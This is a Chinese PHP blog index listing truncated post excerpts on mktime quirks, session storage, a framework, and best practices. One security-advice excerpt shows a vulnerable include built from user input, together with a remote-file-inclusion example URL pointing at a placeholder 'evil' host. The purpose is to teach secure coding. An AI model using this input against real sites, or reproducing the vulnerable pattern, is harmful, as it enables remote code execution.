-
php mktime的一个坑2014.09.01 17:45
最近在做一个文件夹清理脚本,文件夹是以 date('Ymd', time())来命名的,所以扫描文件夹,并把文件夹名称与当前时间作比对,如果是旧文件夹(3天前),则删除。
按说,逻辑非常清晰,处理起来不会有什么麻烦。
不过在测试mktime时,发现:
12$t1
=
mktime
(0, 0, 0, 09, 01, 2014);
$t2
=
mktime
(0, 0, 0, 9, 1, 2014);
返回不同结果
纳了个闷了,难道是 09 !=
-
使用sae kvdb实现自定义session存储2014.05.30 17:29
默认php将session存储在文件中,但也提供session_set_save_handler函数,可以实现session的自定义存储、读、写、回收、自定义失效时间、统计在线人数等。例如:为了应付大流量,将session存储到内存表、APC、memcache或者redis中。Sea kvdb是一种kv型数据库,所以如果将session存储到memcache/redis,也可以参照此方法设计。
session_set_save_handl
-
ibframework - 一个简介轻量级的PHP开发框架2014.05.23 10:07
ibframework是我利用周末空闲时间开发,历时三个月左右,基于PHP框架中普遍采用的MVC模式,参考YII、Brophp、CI等多个PHP框架,抽离框架的核心功能完成,有完整的开发文档及使用示例,适用于小型系统的开发及开发者研究使用。
框架简介:http://ib.xstudio.me
-
PHP最佳编程实践(英译)2013.06.10 23:30
这篇文章是尝试将一系列基本的PHP知识点起来,这些可以被认为是PHP中处理普遍的令人困惑的难题时的最佳实践。也是对PHP编程涉及技术的最优指引。英译原文《PHP Best Practices-A short, practical guide for common and confusing PHP tasks》
存储密码
作者认为使用md5或者sha1加密用户密码是不安全的,因为黑客能够很容易的破解。
最安全的方式是使用bcrypt算法加密。
-
SAE平台Warning:Cannot modify header information2013.05.20 09:051
Warning: Cannot modify header information - headers already sent by
此警告的产生原因是:调用header函数之前文件已有输出,例如:
123echo
' '
;
header(
"Content-type:text/html; charset=utf-8"
);
echo
'This is a Test'
;
在调用header设置编码之
-
PHP编程安全的五点建议2013.04.26 17:47
1、动态加载问题
1234$action
=
'login'
;
if
(__isset(
$_GET
[
'act'
] ) )
$action
=
$_GET
[
'act'
];
require
(
$action
.
'.php'
);
这个代码相当危险,攻击者有可能可以干这些事:
/test.php?act=http://evil/exploit - 注入远程机器上有漏洞的
-
PHP打造多人在线聊天室[二]2013.04.14 15:16
第一篇帖子PHP打造多人在线聊天室[一]已经简单介绍了程序的基本功能。
但是还存在一个比较严重的Bug,在网络时延较大的情况下,会出现信息的重复显示。
问题为何出现?
在用户点击提交按钮的时候,会发送ajax请求,把用户输入的信息提交给服务器。
因为有另一个请求新信息的定时器开着,在网络时延较大的情况下,会出现当一条数据请求但还未输出在页面的时候,同样的数据会再次被请求,所以会出现信息的重复显示。
对这一问题进行了更正。
Index.js中
解决方案